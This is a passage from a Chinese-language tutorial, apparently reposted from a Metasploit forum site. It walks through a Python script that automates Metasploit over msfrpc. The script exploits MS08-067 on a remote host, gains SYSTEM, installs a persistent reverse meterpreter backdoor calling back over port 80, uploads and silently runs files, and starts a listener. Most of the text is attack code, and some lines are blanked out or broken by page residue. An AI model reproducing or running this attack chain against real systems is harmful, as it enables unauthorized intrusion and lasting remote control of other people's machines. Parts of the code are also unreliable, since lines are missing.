14267521361129.jpg
2016-3-31 11:36 上传
下载附件 (117.77 KB)
_________
________
__
_______
_______

________

  •     client = msfrpc.Msfrpc({})
  •     client.login('msf', '123')
  •     ress = client.call('console.create')
  •     console_id = ress['id']
  • 复制代码 下一步就是实现把多个字符串发给虚拟终端,通过console.write和console.read在虚拟终端显示与读取:
    ________
    _________
      __________
    1. ___________)
    2. res = client.call('console.read',[console_id])
    3. result = res['data'].split('\n')
    复制代码

    上面的这一小段代码创建了一个MSF的资源文件,这样你就可以通过"resoucen
    "命令去执行指定文件里面中一系列的命令。

    下面我们将通过"getsystem"命令把这个文件的提权,建立一个后门打开80端口来转发.并且永久的运
    行.最后上传我们的漏洞exp并且在命令模式下面悄悄的安装:

    ________
    _________
      __________
    1. ___________):
    2.      post = open('/tmp/smbpost.rc', 'w')
    3.      bat = open('/tmp/ms08067_install.bat', 'w')

    4.      postcomms = """getsystem
    5. run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
    6. cd c:\\
    7. upload /tmp/ms08067_patch.exe c:\\
    8. upload /tmp/ms08067_install.bat c:\\
    9. execute -f ms08067_install.bat
    10. """
    11.      batcomm = "ms08067_patch.exe /quiet"
    12.      post.write(postcomms); bat.write(batcomm)
    13.      post.close(); bat.close()
    复制代码
    通过上面的那段代码,将会创建一个.rc的文件.通过msf模块“post/multi/gather/run_console_rc_file”在当前
    的meterpreter会话中运行生成的文件,并且通过console.write命令从虚拟终端写入数据,通过console.read命令来回显返回内容:
    ________
    _________
      __________
    1. ___________)
    2.      rres = client.call('console.read',[console_id])
    3. ## Setup Listener for presistent connection back over port 80 ##
    4.      sleep(10)
    5.      listen = """use exploit/multi/handler
    6. set PAYLOAD windows/meterpreter/reverse_tcp
    7. set LPORT 80
    8. set LHOST """+LHOST+"""
    9. exploit
    10. """
    11. print "[+] Setting up listener on: "+LHOST+":80"
    12. client.call('console.write',[console_id,listen])
    13. lres = client.call('console.read',[console_id])
    14. print lres
    复制代码

    上面代码中的变量(RHOST, LHOST,
    LPORT等)都是通过optparse模块从命令终端输入的,完整的脚本托管在github上面,有时候你需要知道脚本的生成的地方都是静态地址,不会
    在其他的目录生成,例如ms08067的补丁就会在你的/tmp/目录下面。

    大家只要知道基础然后对下面的代码进行一定的修改就可以编程一个属于你自己的
    msf自动化攻击脚本,我们建议通过博客里面发表的一些简单的例子出发,然后自己写一个msf攻击脚本:

    ________
    _________
      __________
    1. ___________import os, msfrpc, optparse, sys, subprocess
      __________
    2. __________
    3. ___________from time import sleep
      __________
    4. __________
    5. ___________
      __________
    6. __________
    7. ___________):
    8.      post = open('/tmp/smbpost.rc', 'w')
    9.      bat = open('/tmp/ms08067_install.bat', 'w')

    10.      postcomms = """getsystem
    11. run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
    12. cd c:\\
    13. upload /tmp/ms08067_patch.exe c:\\
    14. upload /tmp/ms08067_install.bat c:\\
    15. execute -f ms08067_install.bat
    16. """
    17.      batcomm = "ms08067_patch.exe /quiet"
    18.      post.write(postcomms); bat.write(batcomm)
    19.      post.close(); bat.close()

    20. # Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch
    21. def sploiter(RHOST, LHOST, LPORT, session):
    22.      client = msfrpc.Msfrpc({})
    23.         client.login('msf', '123')
    24.         ress = client.call('console.create')
    25.         console_id = ress['id']

    26. ## Exploit MS08-067 ##
    27.      commands = """use exploit/windows/smb/ms08_067_netapi
    28. set PAYLOAD windows/meterpreter/reverse_tcp
    29. set RHOST """+RHOST+"""
    30. set LHOST """+LHOST+"""
    31. set LPORT """+LPORT+"""
    32. set ExitOnSession false
    33. exploit -z
    34. """
    35.      print "[+] Exploiting MS08-067 on: "+RHOST
    36.      client.call('console.write',[console_id,commands])
    37.      res = client.call('console.read',[console_id])
    38.      result = res['data'].split('\n')

    39. ## Run Post-exploit script ##
    40.      runPost = """use post/multi/gather/run_console_rc_file
    41. set RESOURCE /tmp/smbpost.rc
    42. set SESSION """+session+"""
    43. exploit
    44. """
    45.      print "[+] Running post-exploit script on: "+RHOST
    46.      client.call('console.write',[console_id,runPost])
    47.      rres = client.call('console.read',[console_id])
    48. ## Setup Listener for presistent connection back over port 80 ##
    49.      sleep(10)
    50.      listen = """use exploit/multi/handler
    51. set PAYLOAD windows/meterpreter/reverse_tcp
    52. set LPORT 80
    53. set LHOST """+LHOST+"""
    54. exploit
    55. """
    56.      print "[+] Setting up listener on: "+LHOST+":80"
    57.      client.call('console.write',[console_id,listen])
    58.      lres = client.call('console.read',[console_id])
    59.      print lres

    60. def main():
    61.         parser = optparse.OptionParser(sys.argv[0] +\
    62.         ' -p LPORT -r RHOST -l LHOST')
    63.         parser.add_option('-p', dest='LPORT', type='string', \
    64.         help ='specify a port to listen on')
    65.         parser.add_option('-r', dest='RHOST', type='string', \
    66.         help='Specify a remote host')
    67.         parser.add_option('-l', dest='LHOST', type='string', \
    68.         help='Specify a local host')
    69.      parser.add_option('-s', dest='session', type='string', \
    70.         help ='specify session ID')
    71.      (options, args) = parser.parse_args()
    72.      session=options.session
    73.      RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT

    74.      if (RHOST == None) and (LPORT == None) and (LHOST == None):
    75.                 print parser.usage
    76.                 sys.exit(0)

    77.      builder(RHOST, LHOST, LPORT)
    78.      sploiter(RHOST, LHOST, LPORT, session)

    79. if __name__ == "__main__":
    80.       main()
    复制代码

    如文中未特别声明转载请注明出自:http://www.metasploit.cn/